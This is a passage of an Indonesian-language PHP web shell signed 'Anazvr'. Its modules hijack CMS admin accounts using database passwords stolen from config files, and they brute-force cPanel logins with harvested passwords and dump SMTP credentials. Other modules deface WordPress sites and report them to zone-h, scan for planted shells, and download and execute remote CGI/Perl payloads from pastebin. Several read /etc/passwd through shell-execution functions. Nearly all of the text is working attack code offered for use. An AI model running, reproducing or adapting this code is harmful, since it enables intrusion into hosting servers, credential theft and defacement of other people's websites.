2214 $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
2215 $prefix = $dbprefix."user";
2216 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2217 $db = mysql_select_db($dbname);
2218 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
2219 $result = mysql_fetch_array($q);
2220 $id = $result[user_id];
2221 $target = ambilkata($config,"HTTP_SERVER', '","'");
2222 if($target == '') {
2223 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2224 } else {
2225 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
2226 }
2227 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
2228 echo "Config => ".$file_conf."<br>";
2229 echo "CMS => OpenCart<br>";
2230 echo $url_target;
2231 if(!$update OR !$conn OR !$db) {
2232 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2233 } else {
2234 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2235 }
2236 mysql_close($conn);
2237 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
2238 $dbhost = ambilkata($config,'server = "','"');
2239 $dbuser = ambilkata($config,'username = "','"');
2240 $dbpass = ambilkata($config,'password = "','"');
2241 $dbname = ambilkata($config,'database = "','"');
2242 $prefix = "users";
2243 $option = "identitas";
2244 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2245 $db = mysql_select_db($dbname);
2246 $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
2247 $result = mysql_fetch_array($q);
2248 $target = $result[alamat_website];
2249 if($target == '') {
2250 $target2 = $result[url];
2251 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2252 if($target2 == '') {
2253 $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
2254 } else {
2255 $cek_login3 = file_get_contents("$target2/adminweb/");
2256 $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
2257 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
2258 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
2259 } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
2260 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
2261 } else {
2262 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
2263 }
2264 }
2265 } else {
2266 $cek_login = file_get_contents("$target/adminweb/");
2267 $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
2268 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
2269 $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
2270 } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
2271 $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
2272 } else {
2273 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
2274 }
2275 }
2276 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
2277 echo "Config => ".$file_conf."<br>";
2278 echo "CMS => Lokomedia<br>";
2279 if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
2280 echo $url_target2;
2281 } else {
2282 echo $url_target;
2283 }
2284 if(!$update OR !$conn OR !$db) {
2285 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
2286 } else {
2287 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
2288 }
2289 mysql_close($conn);
2290 }
2291 }
2292 }
2293 } else {
2294 echo "<center>
2295 <h1>Auto Edit User Config</h1>
2296 <form method='post'>
2297 DIR Config: <br>
2298 <input type='text' size='50' name='config_dir' value='$dir'><br><br>
2299 Set User & Pass: <br>
2300 <input type='text' name='user_baru' value='Anazvr' placeholder='user_baru'><br>
2301 <input type='text' name='pass_baru' value='Anazvr' placeholder='pass_baru'><br>
2302 <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
2303 </form>
2304 <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
2305 ";
2306 }
2307}elseif($_GET['do'] == 'shelscan') {
2308 echo'<center><h2>Shell Finder</h2>
2309<form action="" method="post">
2310<input type="text" size="50" name="traget" value="http://www.site.com/"/>
2311<br>
2312<input name="scan" value="Start Scaning" style="width: 215px;" type="submit">
2313</form><br>';
2314if (isset($_POST["scan"])) {
2315$url = $_POST['traget'];
2316echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
2317echo "Result :<br />";
2318$shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
2319"x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
2320"Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
2321"vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
2322"d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
2323"wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
2324"wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
2325"tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
2326"tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
2327"whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
2328"templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
2329"admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
2330"/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
2331"/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
2332"/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
2333"/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
2334"/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
2335"wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
2336"tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
2337"tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
2338"forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
2339"spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
2340"Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
2341"tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
2342"/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
2343foreach ($shells as $shell){
2344$headers = get_headers("$url$shell"); //
2345if (eregi('200', $headers[0])) {
2346echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
2347$dz = fopen('shells.txt', 'a+');
2348$suck = "$url$shell";
2349fwrite($dz, $suck."\n");
2350}
2351}
2352echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
2353}
2354
2355}
2356 elseif($_GET['do'] == 'cpanel') {
2357 if($_POST['crack']) {
2358 $usercp = explode("\r\n", $_POST['user_cp']);
2359 $passcp = explode("\r\n", $_POST['pass_cp']);
2360 $i = 0;
2361 foreach($usercp as $ucp) {
2362 foreach($passcp as $pcp) {
2363 if(@mysql_connect('localhost', $ucp, $pcp)) {
2364 if($_SESSION[$ucp] && $_SESSION[$pcp]) {
2365 } else {
2366 $_SESSION[$ucp] = "1";
2367 $_SESSION[$pcp] = "1";
2368 $i++;
2369 echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
2370 }
2371 }
2372 }
2373 }
2374 if($i == 0) {
2375 } else {
2376 echo "<br>Nemu ".$i." Cpanel by <font color=lime>Anazvr</font>";
2377 }
2378 } else {
2379 echo "<center>
2380 <form method='post'>
2381 USER: <br>
2382 <textarea style='width: 450px; height: 150px;' name='user_cp'>";
2383 $_usercp = fopen("/etc/passwd","r");
2384 while($getu = fgets($_usercp)) {
2385 if($getu == '' || !$_usercp) {
2386 echo "<font color=red>Can't read /etc/passwd</font>";
2387 } else {
2388 preg_match_all("/(.*?):x:/", $getu, $u);
2389 foreach($u[1] as $user_cp) {
2390 if(is_dir("/home/$user_cp/public_html")) {
2391 echo "$user_cp\n";
2392 }
2393 }
2394 }
2395 }
2396 echo "</textarea><br>
2397 PASS: <br>
2398 <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
2399 function cp_pass($dir) {
2400 $pass = "";
2401 $dira = scandir($dir);
2402 foreach($dira as $dirb) {
2403 if(!is_file("$dir/$dirb")) continue;
2404 $ambil = file_get_contents("$dir/$dirb");
2405 if(preg_match("/WordPress/", $ambil)) {
2406 $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
2407 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
2408 $pass .= ambilkata($ambil,"password = '","'")."\n";
2409 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
2410 $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
2411 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
2412 $pass .= ambilkata($ambil,'password = "','"')."\n";
2413 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
2414 $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
2415 } elseif(preg_match("/client/", $ambil)) {
2416 preg_match("/password=(.*)/", $ambil, $pass1);
2417 if(preg_match('/"/', $pass1[1])) {
2418 $pass1[1] = str_replace('"', "", $pass1[1]);
2419 $pass .= $pass1[1]."\n";
2420 }
2421 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
2422 $pass .= ambilkata($ambil,"db_password = '","'")."\n";
2423 }
2424 }
2425 echo $pass;
2426 }
2427 $cp_pass = cp_pass($dir);
2428 echo $cp_pass;
2429 echo "</textarea><br>
2430 <input type='submit' name='crack' style='width: 450px;' value='Crack'>
2431 </form>
2432 <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
2433 }
2434} elseif($_GET['do'] == 'smtp') {
2435 echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
2436 function scj($dir) {
2437 $dira = scandir($dir);
2438 foreach($dira as $dirb) {
2439 if(!is_file("$dir/$dirb")) continue;
2440 $ambil = file_get_contents("$dir/$dirb");
2441 $ambil = str_replace("$", "", $ambil);
2442 if(preg_match("/JConfig|joomla/", $ambil)) {
2443 $smtp_host = ambilkata($ambil,"smtphost = '","'");
2444 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
2445 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
2446 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
2447 $smtp_port = ambilkata($ambil,"smtpport = '","'");
2448 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
2449 echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
2450 echo "SMTP port: <font color=lime>$smtp_port</font><br>";
2451 echo "SMTP user: <font color=lime>$smtp_user</font><br>";
2452 echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
2453 echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
2454 echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
2455 }
2456 }
2457 }
2458 $smpt_hunter = scj($dir);
2459 echo $smpt_hunter;
2460} elseif($_GET['do'] == 'auto_wp') {
2461 if($_POST['hajar']) {
2462 $title = htmlspecialchars($_POST['new_title']);
2463 $pn_title = str_replace(" ", "-", $title);
2464 if($_POST['cek_edit'] == "Y") {
2465 $script = $_POST['edit_content'];
2466 } else {
2467 $script = $title;
2468 }
2469 $conf = $_POST['config_dir'];
2470 $scan_conf = scandir($conf);
2471 foreach($scan_conf as $file_conf) {
2472 if(!is_file("$conf/$file_conf")) continue;
2473 $config = file_get_contents("$conf/$file_conf");
2474 if(preg_match("/WordPress/", $config)) {
2475 $dbhost = ambilkata($config,"DB_HOST', '","'");
2476 $dbuser = ambilkata($config,"DB_USER', '","'");
2477 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
2478 $dbname = ambilkata($config,"DB_NAME', '","'");
2479 $dbprefix = ambilkata($config,"table_prefix = '","'");
2480 $prefix = $dbprefix."posts";
2481 $option = $dbprefix."options";
2482 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2483 $db = mysql_select_db($dbname);
2484 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
2485 $result = mysql_fetch_array($q);
2486 $id = $result[ID];
2487 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
2488 $result2 = mysql_fetch_array($q2);
2489 $target = $result2[option_value];
2490 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
2491 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
2492 echo "<div style='margin: 5px auto;'>";
2493 if($target == '') {
2494 echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
2495 } else {
2496 echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
2497 }
2498 if(!$update OR !$conn OR !$db) {
2499 echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
2500 } else {
2501 echo "<font color=lime>sukses di ganti.</font><br>";
2502 }
2503 echo "</div>";
2504 mysql_close($conn);
2505 }
2506 }
2507 } else {
2508 echo "<center>
2509 <h1>Auto Edit Title+Content WordPress</h1>
2510 <form method='post'>
2511 DIR Config: <br>
2512 <input type='text' size='50' name='config_dir' value='$dir'><br><br>
2513 Set Title: <br>
2514 <input type='text' name='new_title' value='Hacked By Anazvr' placeholder='New Title'><br><br>
2515 Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
2516 <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
2517 <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
2518 <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
2519 </form>
2520 <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
2521 ";
2522 }
2523} elseif($_GET['do'] == 'zoneh') {
2524 if($_POST['submit']) {
2525 $domain = explode("\r\n", $_POST['url']);
2526 $nick = $_POST['nick'];
2527 echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
2528 echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
2529 function zoneh($url,$nick) {
2530 $ch = curl_init("http://www.zone-h.com/notify/single");
2531 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
2532 curl_setopt($ch, CURLOPT_POST, true);
2533 curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
2534 return curl_exec($ch);
2535 curl_close($ch);
2536 }
2537 foreach($domain as $url) {
2538 $zoneh = zoneh($url,$nick);
2539 if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
2540 echo "$url -> <font color=lime>OK</font><br>";
2541 } else {
2542 echo "$url -> <font color=red>ERROR</font><br>";
2543 }
2544 }
2545 } else {
2546 echo "<center><form method='post'>
2547 <u>Defacer</u>: <br>
2548 <input type='text' name='nick' size='50' value'Anazvr'><br>
2549 <u>Domains</u>: <br>
2550 <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
2551 <input type='submit' name='submit' value='Submit' style='width: 450px;'>
2552 </form>";
2553 }
2554 echo "</center>";
2555}elseif($_GET['do'] == 'lcf') {
2556 mkdir('LCF',0755);
2557chdir('LCF');
2558$kokdosya = ".htaccess";
2559$dosya_adi = "$kokdosya";
2560$dosya = fopen ($dosya_adi , 'w') or die ("Error mas broo!!!");
2561$metin = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .pl \n AddHandler cgi-script .pl \n AddHandler cgi-script .pl
2562\n \n Options \n DirectoryIndex seees.html \n RemoveHandler .php \n AddType application/octet-stream .php";
2563fwrite ( $dosya , $metin ) ;
2564 fclose ($dosya);
2565$file = fopen("lcf.pl","w+");
2566$write = fwrite ($file ,file_get_contents("http://pastebin.com/raw/26jAL0sz"));
2567fclose($file);
2568chmod("lcf.pl",0755);
2569echo "<iframe src=LCF/lcf.pl width=97% height=100% frameborder=0></iframe>";
2570}
2571 elseif($_GET['do'] == 'cgi') {
2572 $cgi_dir = mkdir('idx_cgi', 0755);
2573 $file_cgi = "idx_cgi/cgi.izo";
2574 $isi_htcgi = "AddHandler cgi-script .izo";
2575 $htcgi = fopen(".htaccess", "w");
2576 $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
2577 $cgi = fopen($file_cgi, "w");
2578 fwrite($cgi, $cgi_script);
2579 fwrite($htcgi, $isi_htcgi);
2580 chmod($file_cgi, 0755);
2581 echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
2582} elseif($_GET['do'] == 'fake_root') {
2583 ob_start();
2584 function reverse($url) {
2585 $ch = curl_init("http://domains.yougetsignal.com/domains.php");
2586 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
2587 curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
2588 curl_setopt($ch, CURLOPT_HEADER, 0);
2589 curl_setopt($ch, CURLOPT_POST, 1);
2590 $resp = curl_exec($ch);
2591 $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
2592 $array = explode(",,", $resp);
2593 unset($array[0]);
2594 foreach($array as $lnk) {
2595 $lnk = "http://$lnk";
2596 $lnk = str_replace(",", "", $lnk);
2597 echo $lnk."\n";
2598 ob_flush();
2599 flush();
2600 }
2601 curl_close($ch);
2602 }
2603 function cek($url) {
2604 $ch = curl_init($url);
2605 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
2606 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
2607 $resp = curl_exec($ch);
2608 return $resp;
2609 }
2610 $cwd = getcwd();
2611 $ambil_user = explode("/", $cwd);
2612 $user = $ambil_user[2];
2613 if($_POST['reverse']) {
2614 $site = explode("\r\n", $_POST['url']);
2615 $file = $_POST['file'];
2616 foreach($site as $url) {
2617 $cek = cek("$url/~$user/$file");
2618 if(preg_match("/hacked/i", $cek)) {
2619 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
2620 }
2621 }
2622 } else {
2623 echo "<center><form method='post'>
2624 Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
2625 User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
2626 Domain: <br>
2627 <textarea style='width: 450px; height: 250px;' name='url'>";
2628 reverse($_SERVER['HTTP_HOST']);
2629 echo "</textarea><br>
2630 <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
2631 </form><br>
2632 NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
2633 }
2634} elseif($_GET['do'] == 'adminer') {
2635 $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
2636 function adminer($url, $isi) {
2637 $fp = fopen($isi, "w");
2638 $ch = curl_init();
2639 curl_setopt($ch, CURLOPT_URL, $url);
2640 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
2641 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
2642 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
2643 curl_setopt($ch, CURLOPT_FILE, $fp);
2644 return curl_exec($ch);
2645 curl_close($ch);
2646 fclose($fp);
2647 ob_flush();
2648 flush();
2649 }
2650 if(file_exists('adminer.php')) {
2651 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
2652 } else {
2653 if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
2654 echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
2655 } else {
2656 echo "<center><font color=red>gagal buat file adminer</font></center>";
2657 }
2658 }
2659}elseif($_GET['do'] == 'passwbypass') {
2660 echo '<center>Bypass etc/passw With:<br>
2661<table style="width:50%">
2662 <tr>
2663 <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
2664 <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
2665 <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>
2666 <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>
2667 <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
2668</tr></table>Bypass User With : <table style="width:50%">
2669<tr>
2670 <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
2671 <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
2672 <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>
2673 <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>
2674 <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
2675</tr>
2676</table><br>';
2677
2678
2679if ($_POST['awkuser']) {
2680echo"<textarea class='inputzbut' cols='65' rows='15'>";
2681echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
2682echo "</textarea><br>";
2683}
2684if ($_POST['systuser']) {
2685echo"<textarea class='inputzbut' cols='65' rows='15'>";
2686echo system("ls /var/mail");
2687echo "</textarea><br>";
2688}
2689if ($_POST['passthuser']) {
2690echo"<textarea class='inputzbut' cols='65' rows='15'>";
2691echo passthru("ls /var/mail");
2692echo "</textarea><br>";
2693}
2694if ($_POST['exuser']) {
2695echo"<textarea class='inputzbut' cols='65' rows='15'>";
2696echo exec("ls /var/mail");
2697echo "</textarea><br>";
2698}
2699if ($_POST['shexuser']) {
2700echo"<textarea class='inputzbut' cols='65' rows='15'>";
2701echo shell_exec("ls /var/mail");
2702echo "</textarea><br>";
2703}
2704if($_POST['syst'])
2705{
2706echo"<textarea class='inputz' cols='65' rows='15'>";
2707echo system("cat /etc/passwd");
2708echo"</textarea><br><br><b></b><br>";
2709}
2710if($_POST['passth'])
2711{
2712echo"<textarea class='inputz' cols='65' rows='15'>";
2713echo passthru("cat /etc/passwd");
2714echo"</textarea><br><br><b></b><br>";
2715}
2716if($_POST['ex'])
2717{
2718echo"<textarea class='inputz' cols='65' rows='15'>";
2719echo exec("cat /etc/passwd");
2720echo"</textarea><br><br><b></b><br>";
2721}
2722if($_POST['shex'])
2723{
2724echo"<textarea class='inputz' cols='65' rows='15'>";
2725echo shell_exec("cat /etc/passwd");
2726echo"</textarea><br><br><b></b><br>";
2727}
2728echo '<center>';
2729if($_POST['melex'])
2730{
2731echo"<textarea class='inputz' cols='65' rows='15'>";
2732for($uid=0;$uid<60000;$uid++){
2733$ara = posix_getpwuid($uid);
2734if (!empty($ara)) {
2735while (list ($key, $val) = each($ara)){
2736print "$val:";
2737}
2738print "\n";
2739}
2740}
2741echo"</textarea><br><br>";
2742}
2743//
2744
2745//
2746
2747
2748
2749###########################################################################
2750} elseif($_GET['act'] == 'chmod') {
2751 echo "<tr><td>Current File : ";
2752 echo base64_decode($_GET['filesrc']);
2753 echo '</tr></td></table><br />';
2754 echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
2755}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
2756 echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
2757 if($_POST['opt'] == 'chmod'){
2758 if(isset($_POST['perm'])){
2759 if(chmod($_POST['path'],$_POST['perm'])){
2760 echo '<font color="green">Change Permission Done.</font><br />';
2761 }else{
2762 echo '<font color="red">Change Permission Error.</font><br />';
2763 }
2764 }
2765 echo '<form method="POST">
2766 Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
2767 <input type="hidden" name="path" value="'.$_POST['path'].'">
2768 <input type="hidden" name="opt" value="chmod">
2769 <input type="submit" value="Done" />
2770 </form>';
2771}
2772
2773#########################################################################
2774
2775
2776} elseif($_GET['do'] == 'auto_dwp2') {
2777 if($_POST['auto_deface_wp']) {
2778 function anucurl($sites) {
2779 $ch = curl_init($sites);
2780 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2781 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2782 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
2783 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
2784 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
2785 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
2786 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
2787 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
2788 curl_setopt($ch, CURLOPT_COOKIESESSION,true);
2789 $data = curl_exec($ch);
2790 curl_close($ch);
2791 return $data;
2792 }
2793 function lohgin($cek, $web, $userr, $pass, $wp_submit) {
2794 $post = array(
2795 "log" => "$userr",
2796 "pwd" => "$pass",
2797 "rememberme" => "forever",
2798 "wp-submit" => "$wp_submit",
2799 "redirect_to" => "$web",
2800 "testcookie" => "1",
2801 );
2802 $ch = curl_init($cek);
2803 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2804 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2805 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
2806 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
2807 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
2808 curl_setopt($ch, CURLOPT_POST, 1);
2809 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
2810 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
2811 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
2812 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
2813 $data = curl_exec($ch);
2814 curl_close($ch);
2815 return $data;
2816 }
2817 $link = explode("\r\n", $_POST['link']);
2818 $script = htmlspecialchars($_POST['script']);
2819 $user = "anazvr";
2820 $pass = "anazvr";
2821 $passx = md5($pass);
2822 foreach($link as $dir_config) {
2823 $config = anucurl($dir_config);
2824 $dbhost = ambilkata($config,"DB_HOST', '","'");
2825 $dbuser = ambilkata($config,"DB_USER', '","'");
2826 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
2827 $dbname = ambilkata($config,"DB_NAME', '","'");
2828 $dbprefix = ambilkata($config,"table_prefix = '","'");
2829 $prefix = $dbprefix."users";
2830 $option = $dbprefix."options";
2831 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
2832 $db = mysql_select_db($dbname);
2833 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
